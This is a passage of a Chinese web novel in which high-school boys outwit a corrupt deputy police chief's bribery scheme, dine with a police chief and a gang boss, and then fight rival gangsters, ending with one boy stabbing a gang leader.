彭志龙母亲尴尬地摆手:“别往心里去,孩子闹脾气呢”
张霆琛往屋里喊:“是我,彭志龙!”屋里瞬间没了动静,下一秒,彭志龙光着脚就冲了出来,惊喜地叫道:“二哥、辉哥,你们怎么来了?”
他父亲也跟着出来,瞥了张霆琛一眼,对妻子说:“让孩子们聊,咱们回屋。”“你们好好玩,晚上留下吃饭啊!”夫妻俩进了卧室,彭志龙立刻兴奋地说:“可算来人了,我在家快憋疯了!”
张霆琛笑着问:“身体咋样?恢复得还好吗?”“咱这身子骨杠杠的!就是我爸妈不让我出门。”彭志龙拍了拍胸脯,突然压低声音,“你们刚才是不是看见两个人走了?妈的,那俩孙子想让我做假证!”
“做什么假证?”邓志辉追问。彭志龙往卧室方向瞟了瞟,小声说:“让我指证二哥先挑事、先动手,还说二哥平时总带我们干坏事,纯属诬陷!说二哥是蓄意伤人。”张霆琛皱起眉陷入沉思。彭志龙赶紧解释:“二哥你别多想,我当场就给他们骂出去了!”
“这事没那么简单。”张霆琛缓缓开口,“这背后肯定跟警察局或王志忠有关。志龙,你要是不按他们说的做,我怕他们为难你爸妈,他们收了人家五万块吧?收了钱不办事,后果难料。”
“那也不能出卖兄弟!”彭志龙脖子一梗,“上次的事让我想明白了,做人得顶天立地,对兄弟家人得问心无愧!”话掷地有声,把张霆琛到了嘴边的话全堵了回去。
邓志辉赶紧打圆场:“你误会二哥了,这事牵扯到公安局的内部斗争,说白了就是官场阴私。我们怕你硬扛,他们会报复叔叔阿姨。按他们说的做,至少能保家人平安。”
彭志龙犹豫了一下,还是摇头:“不行,出卖兄弟的事我做不来!”张霆琛感动地拍了拍他的肩膀:“好兄弟!我有个十全十美的办法,既不让你为难,也保叔叔阿姨没事。”“真的?”彭志龙眼睛一亮,“我就知道二哥有主意!”
张霆琛把嘴凑到他俩耳边嘀咕了半天,三人听完同时得意地笑了。彭志龙再三确认:“可得按咱说的来,不许骗我!”“放心!”张霆琛拍着胸脯保证。
下午,彭志龙独自走进公安局,对值班警察说:“我要报案,揭发人!”值班警察推了推眼镜,正是上午去彭家的人之一。他紧张地问:“揭发谁?”
彭志龙诚恳地说:“揭发张霆琛!他总聚众打架,带坏校风,昨天还带着我们打伤好几个人,我受够了被他指挥,良心不安!”警察顿时乐了,赶紧收敛起笑容,一本正经地说:“这事严重,我去安排笔录。”他打完电话,对彭志龙说:“领导很重视,我带你去审讯室,你尽管说实话,警察会保护你。”
彭志龙心里翻着白眼,这演技,不去当演员可惜了。半小时后,他伸着懒腰走出审讯室,门口的警察连忙问:“怎么样?”“都说了。”“好!孺子可教!”
没多久,张霆琛接到警察局的电话,让他过去一趟。他在电话里故作紧张地追问原因,挂了电话便赶往警局。审讯室里,警察问话格外简洁,显然想速战速决,可张霆琛要么推脱要么说“不知道”,硬是让他们一无所获。
这时,一个挺着大肚子的中年人走进来,审讯警察立刻起身:“副局!”张霆琛心里暗笑:终于来了。他故意露出害怕的表情,副局见状得意地笑了笑:“孩子,昧着良心说话会遭报应的,你未成年,罪过可能要家人承担,多不值啊。”见张霆琛没反应,又换了副嘴脸,“说实话吧,我们不会为难你,还会帮你改正,肯定从轻发落。”
见张霆琛依旧不松口,副局又施压:“你身边的人都揭发你了,我们有证据证人,现在说实话是给你赎罪的机会。”他其实是想撬开张霆琛的嘴,查清是谁在背后教他,他不信一个高中生心理素质这么好,多半跟正局长有关。可无论他怎么说,张霆琛就是油盐不进。
副局正绞尽脑汁时,审讯室的门突然开了,走进来的正是正局长!
第一百一十四章:副局下马
卢局长迈着步子走进来,脸上堆着笑,开口便打趣:“我说老苏啊,今儿怎么这么清闲,跑到这儿审起孩子来了?可别把人家吓坏了。”
“哟!原来是老卢啊,你怎么过来了?”苏副局长抬眼瞧着他,语气里带着几分探究,“我倒要看看这孩子到底有多大本事,是他自己城府深,还是背后有人指使。”
“哦?这么严重?一个孩子还能有人指使?”卢局长眉头一挑,语气陡然严肃,“真要是查出来,咱们可得严办,绝不能姑息养奸!”
苏副局长连连点头称是,两人你一言我一语地搭着话。在外人眼里,这俩人或许亲如兄弟,可话里行间都藏着暗刺,谁也不肯在嘴上输了气势。正说着,外屋的龚明俊推门进来,凑到卢局长耳边低声说了几句。卢局长听完微微一笑,转头对苏副局长道:“哎!真是天算不如人算,咱们警察局怕是要清理门户喽!”
苏副局长心里猛地一沉,脸上却强装镇定,挑眉问道:“老卢这话是什么意思?”卢局长从龚明俊手里接过一份文件,慢悠悠地说:“刚才我让小龚他们再审了审那个叫彭志龙的孩子,他答得太顺了,凭我这么多年的警察经验,就知道这里头肯定不对劲。所以我让龚队长去了趟他家,结果他父母说的话,跟他简直一模一样。这就更确定事不简单了,估计这些话都是有人教的。龚队长当机立断搜查了他们家,你猜查到了什么?”
“什么?”苏副局长的声音忍不住拔高,带着一丝不易察觉的失态。卢局长要的就是这个反应,故意拖长了调子:“我说老苏,你怎么这么慌张?难道你知道什么内情?”苏副局长这才意识到自己露了破绽,赶紧调整表情,笑着打哈哈:“怎么会呢?我就是想知道结果罢了。老卢,你这是故意吊我胃口啊?”
“咱们共事这么多年,我老卢是什么人你还不清楚?”卢局长话锋一转,语气却沉了下来,“龚队长在他们家找到了五万块崭新的现金,问起钱的来历,他们支支吾吾答不上来,钱就先没收了。结果你猜我们又查到了什么?”
“哎呀我说老卢,你说话能不能别留半截?痛快点!”苏副局长的耐心显然快耗尽了,语气里带着明显的焦躁。卢局长见他已然乱了阵脚,突然换上一副义正言辞的表情,一字一句道:“我们在钱上做了指纹鉴定,结果查出了咱们警局内部人员的指纹!这说明什么?说明这笔钱经过了咱们自己人之手!”
苏副局长心里暗道不好,这笔钱正是他让手下警察办事用的。他在心里把那两个办事的骂了千百遍,只恨自己一着不慎,怕是要满盘皆输!但毕竟是副局长,他很快稳住心神,追问:“是哪两个人的指纹?”
“哟!老苏怎么知道是两个人?难道你早就知道这笔钱的来历?”卢局长眼神锐利地盯着他,语气里满是探究。
这话一出,苏副局长的狐狸尾巴算是彻底藏不住了,可他还在强词夺理:“我怎么会知道?就是随便一说!你赶紧把话说完,别这么墨迹!”
一旁的张霆琛看着苏副局长故作镇定的样子,差点没忍住笑。他是真没想到卢局长的心理攻势这么厉害,连职场老油条都被耍得团团转,这活生生的谈话艺术,算是给张霆琛上了生动一课。他看得明白,这位苏副局长的心理防线,早就被卢局长三言两语攻破了。
卢局长却没正面回答,继续打心理战:“这事现在还是秘密,老马你很快就会知道了。对了,那个叫彭志龙的孩子和他父母已经被我们保护关押了。哎,真是太不小心了!”前半句是在警告苏副局长别想再动这家人的主意,断了他对口供的念想;后半句,则纯属戏弄。
说完,卢局长转向张霆琛,温和地说:“小伙子,没事了,你可以走了。这么小的年纪,一天来两趟警察局,真是委屈你了。他们没吓唬你吧?”张霆琛眼睛一转,答道:“我平时喜欢开着手机录音,刚才他们说的话都录下来了。我也不知道算不算威胁,还是请您来判断吧。”
“哦?还有这种事?”卢局长示意龚明俊接过手机。龚明俊接过手机时,赞许地看了张霆琛一眼,随后走到卢局长身后。卢局长点点头:“我们回去会好好调查,一定给你一个公正的说法。”接着,他转身看向苏副局长,语气冰冷,“找人做假证、贿赂、恐吓证人,这些罪名可不小啊!”说完便带着人离开了审讯室。龚明俊顺势领着张霆琛往外走。
经过苏副局长身边时,张霆琛压低声音,冷冷道:“自作自受!”“你!”苏副局长气得脸色发青,却只能眼睁睁看着他们离开。他心里还存着一丝侥幸,觉得这笔钱没经过自己的手,是让人从卡里取的,应该查不到自己头上。可他忘了,正因为钱是从他卡里取的,反而给了对方光明正大查他账户的理由。
后续的调查果然顺理成章。钱上的指纹,其中一个正是门口那个戴眼镜的警察留下的。龚明俊带人审他时,他还一脸无辜,可没扛过一轮问话就全招了:中午的时候,苏副局长找了他和另一个叫程冰的警察,让他们去彭志龙家“做做思想工作”,还给了一张银行卡,让他们拿五万块给彭家,卡里剩下的一万块算是给他们的好处费。两人想都没想就答应了,后面的事,便是张霆琛他们看到的那样。
顺着这条线索,龚明俊和卢局长很快扣留了苏副局长。通过他的一张银行卡,又追查出其他几张卡,里面少则几十万,多则几百万,名下还有好几处房产。不过审理他还需上级批准,毕竟是副科级干部。三天后,广市市里下了文件,要求彻查。这彻查可就不只是查钱和房子了,还要追根溯源查来历。一时间,警局里人心惶惶,凡是跟苏副局长走得近的人,都赶紧找关系撇清,生怕被牵连。
邓天啸和卢局长倒没做得太绝,这正是拉拢人心的好机会:该放的放,该打的则一竿子打死,其中就包括王志忠。邓天啸本就想借政府的力量打击广市的港帮势力,而王志忠和苏副局长都跟这帮人有过交集,具体牵扯多少,还得慢慢查。说来也是天意,邓天啸竟靠着张霆琛这些半大孩子的打闹,抓住了扳倒对手的机会。这大概就是有人能成功,有人却只能平凡度日的原因,机会,从来都握在自己手里。
至于彭志龙一家,很快就无罪释放了。听说送钱的两个警察招供后,他们也无奈地交代了实情,彭志龙的父亲因受贿被拘留15天。在外人看来,他们是被苏副局长连累的,实则不然。
这一切都是张霆琛早就设计好的局,彭父被拘留也是无奈之举,戏要做全套,不能让人看出他们是主动配合警察的,否则难免招来报复。当然,这15天也不是白拘留的,邓天啸早就答应,等他出来后,安排他去自己朋友的公司做文职,月薪至少一万,还额外给十万块补偿。
又过了几天,这事对张霆琛他们来说算是翻篇了。这天晚上放学,邓志辉拍着张霆琛的肩膀说:“走!我爸、卢叔叔和龚叔叔请你吃饭!”
张霆琛愣了愣:“我?你爸请我还说得过去,局长和队长请我吃饭,这不太合适吧?”“废什么话!赶紧的!大哥也一起去!”邓志辉不由分说地拉他。李辰浩在一旁乐呵呵地接话:“有饭吃干嘛不去?”
张霆琛却有些犹豫:“可梁颖还等着我呢,都失约好几次了,再爽约,我俩真要黄了。”
第一百一十五章:青春
邓志辉一脸无所谓地开着玩笑:“不是还有谢诗韵吗?实在不行,王嫣然也行啊。”“滚犊子!像我这么专一的人,打着灯笼都难找!”张霆琛作势要踹他。
“就你?等着我们抓到证据,你就死定了,迟早为今天的话付出代价!”邓志辉佯装威胁,冲他挤了挤眼。正闹着,王涛从学校里飞奔出来,老远就嚷嚷:“都说了等着我,你们一个个跑比兔子还快!”
李辰浩在后面给了他一脚,笑骂道:“你小子是去勾搭姑娘了吧?又不是有急事,要不是我们在这儿聊天,早走了,谁耐烦等你!”王涛立刻摆出一副老子最牛的表情:“怎么着?少爷我泡妞还得经过你同意?”
李辰浩指着他点了点头,趁王涛没防备,突然伸胳膊夹住他的脑袋,脚下轻轻一绊,就把人撂了个跟头。王涛在地上嗷嗷叫,嘴上却半点不服软:“你等着!等老子学有所成,第一个收拾的就是你!”
“嘿,我就不信今天治不了你!”李辰浩说着还要上手,却被张霆琛拦住了。张霆琛憋着笑问王涛:“你不是看中刘老师了吗?怎么转去泡七班的妹子了?”王涛爬起来拍了拍身上的土,一脸无奈地叹气:“哎,不行不行,她太正经了。我想换个口味,这种类型不适合我。”
“是吗?我怎么听着不像这么回事呢?”李辰浩在一旁阴阳怪气地挖苦。王涛像被踩了尾巴的猫,赶紧岔开话题:“今天不是有饭局吗?我爸都叫我了!走了走了!”可他这反应越大,越勾起了所有人的兴趣。大家一拥而上拦住他,眼神里明晃晃写着“不说清楚别想走”。王涛被缠得没办法,只好低着头嘟囔:“其实……”话刚出口,他猛地转身就想跑,这是他跟李辰浩打闹时的惯用伎俩。可李辰浩早就看穿了,一把拽住他的后领。王涛立刻求饶:“各位行行好,真没什么,咱们先去吃饭行不行?”
“我可不信,真没什么你紧张啥?你要是不说,我们可去找刘老师求证了啊。”张霆琛在一旁慢悠悠地威胁。“别别别!我说、我说!”王涛一听“刘老师”三个字,立马怂了。邓志辉趁机踹了他一脚,嘲讽道:“瞧你那点出息,赶紧说!”
“就是,就是不喜欢了,仅此而已!”王涛吞吞吐吐的,声音小得像蚊子哼。李辰浩却突然插话:“我知道的可不止这些哦,我怎么听说,有人给班主任写情书,结果被狠狠训了一顿?”
“你怎么知道的?王八蛋,你偷听我们说话!”王涛瞬间急眼了,可在绝对的武力压制面前,还是乖乖选择了妥协。他一边求饶一边讨价还价,可这几个八卦的人不为所动。最后王涛没辙了,只好压低声音:“你们可得答应我,这事就咱们几个知道,土狗他们都不许说!”
张霆琛想都没想就点头:“行,你说吧。”王涛这才支支吾吾开口:“我那天在作业本里给她写了封情书,结果吧…”“结果怎么了?你能不能别这么墨迹!”邓志辉不耐烦地催他。
“后来她把我叫到办公室,把我一顿数落,说我不好好学习,净搞这些没用的。我为了表真心,鼓足勇气说我真的喜欢你,结果她说我是青春期躁动,需要心理辅导,就找了咱们学校的汪老师给我做心理辅导。”
“草!不是吧?那个二百多斤的女胖子给你做辅导?”邓志辉惊得瞪大了眼。“可不是嘛!要不你们以为我中午都在干嘛?真以为我去泡妹了?”王涛一脸委屈,“这种事搁谁身上不憋屈啊?让一个二百多斤的女的天天缠着,关键她三十多岁,一说话就冒汗,一边擦汗一边叨叨,要多膈应有多膈应!”
邓志辉摸着下巴好奇道:“你说这刘老师,是不是故意恶心你啊?”王涛恶狠狠地磨牙:“我看像!现在我看见她就烦!对了,你们知道刘老师多大吗?”“也就二十出头吧!”张霆琛很肯定地说。
王涛却摇着手指头:“我那天不小心看到她身份证了,18岁”“草!真的假的?她刚十八岁?不对,是还没过十八岁生日,现在实岁才十七!”这个消息像炸雷一样,把几人都震住了。要不是王涛亲眼所见,张霆琛说什么也不信,刘班主任竟然还不满十八岁!
过了好半天,张霆琛才缓过神,拍着王涛的肩膀:“既然是十七岁的大姑娘,你怎么不玩命追啊?”“草!你以为我不想啊?”王涛翻了个白眼,“你天天被那个200斤的女的缠着试试?还有,我只要在刘老师边上,她三句不离你,明摆着是看上你了!我长得没你帅,你还是我二哥,再说我也摆不平那胖子,只能放弃了。最近追七班的妹子,比追她有收获多了。”
“什么?”邓志辉和李辰浩的耳朵瞬间竖了起来,他们平时不爱八卦,可一涉及张霆琛的事就格外上心。王涛随口道:“我觉得这老刘就是看上二哥了,三句话不离他。真没辙,我说二哥,你怎么这么浪,连老师都勾搭!”
“你再说一次!”张霆琛的声音瞬间冷了下来,带着杀气。可王涛没听出来,还在碎碎念:“你怎么这么浪啊?不过你要是高一就泡上老师,那可太NB了!”张霆琛两眼冒火地盯着他,一字一句再问:“你说什么?”
王涛这才反应过来,吓得魂都飞了,尖叫道:“哎呦妈呀!杀人了!”张霆琛刚要动手,就见邓志辉和李辰浩把王涛护在了身后,俩人一脸不怀好意地冲他笑。张霆琛心里暗骂王涛多嘴,可事到如今抱怨也没用,他太了解这俩人了,知道这事肯定会往死里挖苦他。
李辰浩先开口,阴阳怪气地说:“老二啊,这事要是让梁颖知道了……哦不对,是让弟妹知道了,你说会怎么样?”邓志辉立刻接话:“我觉得你会死得很惨。哎,你们谁有嫂子的手机号?”
张霆琛一脸无奈又委屈:“我就知道你们俩没安好心,说吧,想怎么样!”“你还提不提那个小护士的事了?还帮不帮我做媒了?小护士的情书是不是你写的?”李辰浩抢先发问。
“我说怎么总有女的给你发短信,原来是这么回事啊。”王涛在一旁恍然大悟地自言自语。李辰浩狠狠瞪了他一眼:“给老子闭嘴!”邓志辉跟着问道:“你老实交代,那天我穿凉鞋上课,是谁在我鞋上挤的牙膏!”
“额……是我挤的。但不是没事吗?你至于这么斤斤计较吗?”张霆琛有点心虚。邓志辉气得脸都红了:“什么叫没事!你你你!”
“你不会是上课‘发射’了吧”王涛瞪大了眼睛盯着邓志辉。邓志辉满眼血丝地扫了他一眼,王涛立马识趣地闭了嘴。张霆琛支支吾吾:“我也不知道你自控力这么差啊”
“你还敢说!”邓志辉和李辰浩对视一眼,嗷嗷叫着朝张霆琛扑了过去,把他按在地上一顿揍。张霆琛自知理亏,起初还象征性反抗了两下,后来干脆任由他们折腾。可这俩人根本不是揍他,反倒像小姑娘似的又抓又挠,一会儿掏裆一会儿抓熊,把张霆琛折磨得哭笑不得。
过了半天,三个人瘫在地上呼哧呼哧喘气,准确说是张霆琛躺着,邓志辉和李辰浩坐着。王涛像看傻子似的看着他们,小声嘟囔:“有毛病啊!”
这话正好戳中三人的笑点,他们二话不说,一起朝王涛扑了过去。跟对付张霆琛的招数一样,全是阴招,闹得周围路过的学生都围过来看热闹,不知道的还以为他们真打起来了。更搞笑的是,没过一会儿真有人上来拉架,场面别提多滑稽了。
四个人你看看我、我看看你,突然不约而同地哈哈大笑起来。这就是少年时光,是独属于这个年纪的快乐。谁能想到,这些将来会在泸市黑道上叱咤风云的人物,此刻正像孩子一样打闹,露出最童真、最幼稚的一面。
第一百一十六章:又见
闹够了以后几个人躺在校门口,不管周围人的眼光,只管他们自己在那一个劲的傻笑。张霆琛首先坐起来拿起电话拨给了梁颖,电话通了以后只听见电话里传来甜甜的声音“亲爱的,你可是好几天都没来了,我马上就出门口了,你要是让我看不到你你就死定了。”
张霆琛本想说自己有事不能来了,但是梁颖的几句话就让张霆琛有些不知所措了。张霆琛结结巴巴的对梁颖说道“那个媳妇…今天邓志辉的父亲请我们吃饭,要不你也来吧!”张霆琛最终憋出这么一句话来。对面的梁颖犹豫了一下,然后有点不情愿的问道“到几点啊”
张霆琛见梁颖不开心了,马上哄道“没多久,咱们就去一会儿,吃饱了我就陪你玩去,你想去哪咱们就去哪。”“你说的?别骗我,我要买好吃的。”“行!没问题,咱们一会儿高中门口见。”张霆琛挂了电话以后对邓志辉等人耸耸肩表示自己的无奈,王涛在一旁挖苦道“哪都好就是怕媳妇。哼哼!”这点张霆琛不可厚非,但是张霆琛却狡辩说道“天下没有怕媳妇的男人,只有尊重媳妇的人,你们都懂什么?”
“对对对,我们都不懂,你一会真是打算带着她去?”邓志辉问道。“那又能怎么样,不带她去你给我摆平吗?”邓志辉不屑的说道“要是我跟定不能惯着她,也就是你。你可别忘了一会吃饭的时候堵住梁颖的耳朵,要是她听见你又去打架了,你稳稳的死定了。”
张霆琛千算万算把这个给忘了,于是抓耳挠腮的说道“这怎么办啊,我没想到啊。哎呀!”“活该!”三个人齐声在边上骂道,紧接着大家就一起笑了。只有张霆琛是苦笑啊。张霆琛心想应该也不会这么糟,船到桥头自然直。总会有解决的办法的。张霆琛虽然这么劝自己,但是他的心里还是七上八下的,希望今天在饭桌上大家可以聊点别的,要是跟着自己的一帮兄弟一起吃他还能说了算,但是跟着这些长辈们一起吃饭可就不能按照他的意思来了。等到张霆琛接梁颖的时候心里美滋滋的。因为确实是有一段时间没看见她了,但是张霆琛没想到他领着梁颖吃饭却成了俩人分手的***。之后俩人打车来到了某某酒店的门口,梁颖这辈子都没有来过这么好的酒店吃饭,张霆琛刚要往里走梁颖便拉着他说道“你是不是走错了,是这里吗?”
张霆琛很不以为然的说道“就是这里啊,没错!怎么了?”“你那个,邓志辉的爸爸是什么人啊,干嘛要请你吃饭啊。你们。。”这时梁颖说话都开始结巴了。张霆琛好笑的看着她说道“怎么了?这就hold不住了?”
“不是的,邓志辉的父亲用不用这么有钱啊,这里可是大酒店,一顿饭最起码好几千的地方啊。”张霆琛摇着手指头说道“你错了,这里的一顿饭最起码几万,你说的几千块钱一顿饭那只是一般的小酒店或者更低档次的地方。”
梁颖家是属于比较贫穷的家庭,虽然不是一点钱都没有,但是平时吃饭来这种地方显然是不可能的,梁颖听了张霆琛说的话半天都没有回过神来,赶紧整理自己的衣服埋怨然后埋怨张霆琛道“你怎么不早说啊,来这种地方吃饭,我还穿着校服呢。”
张霆琛好笑的看着她之后拍了她的脑袋一下说道“没有那么多的事啊,你跟着我走就行了。”
刚进门张霆琛便看见了邓天啸和卢局长还有那个龚明俊,再旁边是王涛的父亲。边上还有其他的一些不认识的人。张霆琛恭恭敬敬的挨着叫了一遍,邓天啸豪爽的笑道“怎么样?我看中的孩子不错吧?”这句话虽是问句但是却也是肯定句,邓天啸很得意这个他发现的人才。卢局长在一旁赔笑道“是个人才!磨练一下就能接你的班了嘛!”
“叔叔您说笑了,我没有那么大的本事。”张霆琛说完话以后周围的人都哈哈的笑了出来。看得出来这帮人还是挺开心的,梁颖在一旁是一句话也听不懂,只好乖乖的在一旁站着。这时邓天啸注意到了梁颖,然后指着梁颖犹豫了一下,邓志辉马上站起来解释道“这是张霆琛的女朋友。”
“哦?我怎么没有听你们说起过?年纪不小思想倒是挺超前的嘛。”张霆琛也不做作,拉着梁颖说道“叫邓叔。那个是卢叔叔。”梁颖也没有畏首畏尾的,把这个叔叔、那个叔叔挨个的叫了一遍。邓天啸在一旁夸奖道“小姑娘挺漂亮的嘛。张霆琛可是有了眼福喽。”
“叔叔你说笑了。”梁颖红着脸答道。张霆琛也在一旁傻笑。邓天啸对梁颖的印象还算是不错,张霆琛坐下以后卢局长首先开口说道“霆琛小子,这回的事情办得很漂亮啊。”
“叔叔你过奖了。”张霆琛很是谦虚,一点没有居功自傲。但是卢局长却皱着眉头批评道“我说不错就是不错。不许顶嘴!”这下弄得张霆琛有点尴尬。倒是邓天啸抢话对着卢局长笑骂道“我说你除了会吓唬小孩还会点什么?一点大人样没有。不过张霆琛这回的事情办得确实是不错,既保住了自己兄弟又坑了对手。两全的棋局,既不失子还赢了棋!有大将之风!”
卢局长也在一旁夸道“是啊。是成大事的材料。”说着话的同时卢局长的一直在目不转睛的盯着张霆琛的表情。但是张霆琛脸上一点表情都没有,也就是一点都没有居功自傲。要是其他的同龄人被一个警察局局长和黑道大哥这么夸早就轻飘飘的飞上天了,甚至比张霆琛大不少的人都会经不住这种夸奖。但是张霆琛没有让他失望。无意间卢局长的嘴角流露出了微笑,这证明张霆琛非常让自己满意,要让张霆琛这种孩子多加磨练,最后掌握在自己的手里,那对于自己来说无疑是多了一员悍将。这些人一边聊一边吃,酒过三巡菜过五味。梁颖自始至终都没有吃多少,只是象征性的夹几个菜而已。张霆琛把梁颖拉到厕所问道“你怎么不吃东西啊?”
“我长这么大都没有吃过这些,你看看刚才那个鲍鱼,那么大个,我怎么下口啊?你再看看那个大龙虾,多吓人啊!再说了我要是使劲吃多给你丢人啊。”
张霆琛见梁颖因为这个才不吃东西于是在一旁捂着嘴一个劲的笑。梁颖脸红着骂道“你再笑我不理你了。”张霆琛赶紧收起笑容赶紧道歉,然后劝道“你回去再吃点吧,没什么可丢人的,你没看见王涛那吃劲?”
“我是女孩能跟他一样吗?”“那行行行!你跟他不一样,但是肚子是一样的,你回去的时候再好好吃点。没事的。”梁颖小声的问道“真的没什么事吗?不会很没面子?”“不会的!走!回去!”
“乡巴佬!”这时从厕所里走出来一个中年女人,这个不和谐的音符一下便让张霆琛心里的火冒了起来。张霆琛冷眼朝着她看去,梁颖知道张霆琛生气了,赶紧劝他“别闹事,咱们回去吧,我好好吃。”
“哼!乡巴佬!”女人的嘴依旧不留情面的损着张霆琛和梁颖。张霆琛皱起眉头看着女人突然想起这个女人他见过,这个人不是别人正是王嫣然的妈。张霆琛打心眼里讨厌这个女人,随口挖苦道“自保都成问题,没准以后就得吃牢饭。”
“小子你说什么?”女人先是一愣然后直勾勾的看着张霆琛“你是。。你是打我侄子的那个小王八蛋!”“助纣为虐,早晚会遭到报应的。”张霆琛不想与她多做纠缠,拉着梁颖就要走。但是这个女人根本就不给他机会,这时女人身后出现了一个五大三粗的男人,女人对这个人说道“给我教训一下这个有娘生没娘养的东西。”
“知道了小姐!”说完这个大汉便朝张霆琛走过去。张霆琛见来者不善便把梁颖拉到身后做好战斗准备。这时只见大汉毫不犹豫的一拳朝张霆琛打过来,张霆琛在迅雷不及掩耳之间躲开了这一下,并且一个侧身踹就拉开了他与大汉之间的距离。男人先是一愣,他没想到自己这一下会打空,更没想到张霆琛还会还手。张霆琛心里也是暗惊一声,他这一脚虽然没有用十足的力量,但是七八成肯定是有了,可根本没有对对方造成什么伤害。这一下气氛有点紧张了。但是这时…
第一百一十七章:动刀
就在这时张霆琛一个高抬腿就奔着大汉的下巴踢去,大汉以为张霆琛是什么硬角色,但是一看其出招便把这个想法抛到九霄云外了,因为在两人对抗的时候最忌讳正面实打实的一拳或者一脚,一旦被别人识破,全身任何一个地方都将会成为人家的攻击目标,所以跟人打架最好不要直接上去攻击。
以静制动、在出手时发现别人的弱点才是上上策。但张霆琛会不知道这点吗?大汉本以为可以轻松避过这一脚然后好好收拾一下张霆琛,结果却发现自己的颈椎处被人狠狠敲了一下。就在这一瞬间,张霆琛的脚结结实实踢在了他的下巴上,这还不算完!在大汉中脚的瞬间,有人顺势给了他一记扫堂腿将其直接放倒在地上。这就完了吗?不,因为后面的才是重头戏,只见不远处有一人影猛冲过来,然后一个前空翻、膝盖着地重重砸在大汉的胸口处。这一下就算不死也够他受的了。
这三记有条不紊的攻击正是李辰浩、邓志辉、王涛三人先后完成的。张霆琛在准备攻击大汉时,看见那个女人身后的李辰浩给他使了个眼神。因为彼此相处时间很长,还经常切磋,所以仅仅一个眼神张霆琛便马上会意。这不仅显示了他们的默契,更重要的是显示了他们之间的信任。那名大汉被压在地上后,王涛并没有放过他,而是坐在他身上一顿锤。这时张霆琛制止住王涛,对神志有些不清的大汉说道:“再强的大象也能被蚂蚁咬死,再高的山也能被零散的云遮住!轻敌就是你败的原因!”接着张霆琛对那个女人说道:“管好你的人,管好你自己的嘴!要是再让我碰上!哼哼!”
那个女人半天才从震惊中缓过来,之后气愤地指着张霆琛骂道:“好你个小王八蛋!你给老娘等着!看咱俩谁能玩死谁。”说完她就要打电话。
“一个大人欺负几个小孩算是什么本事!”所有人朝着说话的声音看去,来者正是邓天啸,起身时还跟着王涛父亲等人。邓天啸的声音又雄厚又霸气,张霆琛还从没有见过如此霸气的邓天啸。邓天啸走过来后对这个女人说道:“我说冯大小姐今天怎么这么有雅致找几个小朋友的麻烦?”
“我道是谁呢?原来是青帮的老二啊。场子被人砸了不去处理,陪着几个小孩子吃饭?是不是太不把对手看在眼里了?”说话的人还没露脸,张霆琛几人便感觉到了这人的气场。邓天啸先是一愣,然后平静地答道:“对手?虱子在老虎的背上蜇了几下,老虎就得把虱子当成对手吗?好笑的很啊!”
这时从拐角处走出一个光头,这人脸上有一条明显的刀疤,他微笑着朝邓天啸走过来说道:“哈哈哈!好大的口气,那你就看看对手到底是虱子还是狮子!看看咬你几口疼不疼?”
“哦?”邓天啸很是不屑,然后指着刚从地上爬起来的大汉说道:“这是你的人?”“怎么?”大光头假装疑惑地问道。
“连几个小孩子都打不过,我能将他们视为对手吗?哈哈哈哈哈哈!”邓天啸在一旁狂笑,声音让人不寒而栗!张霆琛此时被这两人的气场深深吸引,他没想到人可以散发出这种骇人的气势。
大光头摸了摸自己的脑袋,然后突然从身后取出一把小匕首,所有人见状都退后一步,但邓天啸他们根本不为所动。这时只听“啊!”的一声,那名大汉的耳朵被大光头削了下来。那个女人还有梁颖见状脸都吓白了。之后大光头笑呵呵地说道:“这只是其中一条不成气候的小狮崽,让邓老大见笑了!”
“怎么会呢。陈屠的名字谁人不知?这么响当当的大人物我们怎么敢笑!”“说的是啊!谁敢笑我!”说完便对那个女人说道:“让冯小姐受惊了,咱们回去吧。”
那个女人好一会儿才缓过来,然后依旧不依不饶地说道:“不行!这个人打了我的人,我必须讨回公道!”大光头笑呵呵地问道:“怎么个讨法?您说我听着!”“把那个小子给我带回去!”那个女人指着张霆琛说道。
光头男笑呵呵地问邓天啸:“这个男孩我得带回去,不过邓老大放心,我们冯小姐是不会为难他的!”“还你妹的冯小姐!妆画得跟鬼是的!”王涛在一旁很不屑地挖苦道。这一下周围所有人都笑了,只有那个女人的脸被气成了茄子色。
“哦!现在的孩子都欠管教啊!”光头男看着王涛道。王涛的父亲从邓天啸身后走出来说道:“家不家教我不知道?我知道比某些人要强!我想知道你陈屠怎么有这么大的雅致陪着这种货色!”
“我还以为是谁呢?原来是王老大啊,怎么?一起商量事情来了?”邓天啸摇摇头,之后对张霆琛他们几个孩子说道:“走吧咱们。”说完就要走。大光头没有拦着,但那个女人却忍不住了,对着光头男陈屠骂道:“你就这么让他们走了?!!!”
等张霆琛经过陈屠身边时,他感到一阵寒气,下意识地伸手格挡,正好挡住陈屠的偷袭。陈屠显然一愣,他怎么也没想到一个小孩子能挡住自己的偷袭。陈屠本来想用刀割张霆琛的一个耳朵,却被张霆琛挡了下来。在张霆琛身边的李辰浩第一时间握住陈屠的手腕向反方向一扭,陈屠的刀便掉在了地上。这时两个身影不知何时闪到了陈屠的身后,还没轮到张霆琛他们还击,只见那俩人已经用枪抵住了陈屠的后腰,并且嘴里喊道:“不许动!”
陈屠毕竟混迹黑道多年,虽然现在很气愤,但保持着冷静头脑,他知道身后的人不会开枪,但逼急了对方自己也没有好果子吃。陈屠笑呵呵地举起双手然后说道:“哈哈!江山代有才人出!我陈屠今天算是长了见识了,邓天啸你手上的小娃娃还真是不简单啊。”
邓天啸此时有些生气,也有些害怕,刚才是自己大意了。如果不是张霆琛反应快,那么张霆琛可能就遭了陈屠的毒手。“陈屠啊!你还真是改不了老毛病啊!”说完便转身离开了。但突然在邓天啸身后响起清脆的一声,邓天啸皱起眉头朝后看去,这一下事情可大了,因为李辰浩竟然给了陈屠一个嘴巴。这下陈屠按捺不住了,不管身后抵住他腰间的枪,直接朝李辰浩动手!李辰浩嘴角露出浅浅的笑,这时他手上不知何时出现了一把包着一层白布的刀。之后李辰浩毫不犹豫地朝着陈屠扎了过去,只听“扑!”的一声,这把刀就扎在了陈屠的胸口。李辰浩露出不屑的微笑,他没有想杀陈屠,只是想警告他一下,因为他容不得有人威胁张霆琛。这一刀李辰浩故意避开了要害,否则这个不可一世的老江湖就要在阴沟里翻船了。李辰浩没有继续补刀,而是瞬间收起了手上的刀,这一系列动作只在顷刻之间完成,谁也不知道他的刀藏在了哪里。陈屠倒在地上,后背靠着墙大口大口地喘着气,他没有叫喊,而是在那里笑道:“好好好!几个小娃娃就这么厉害!我陈屠今天算是服气了!邓天啸咱们今天这事就算是不死不休了!”
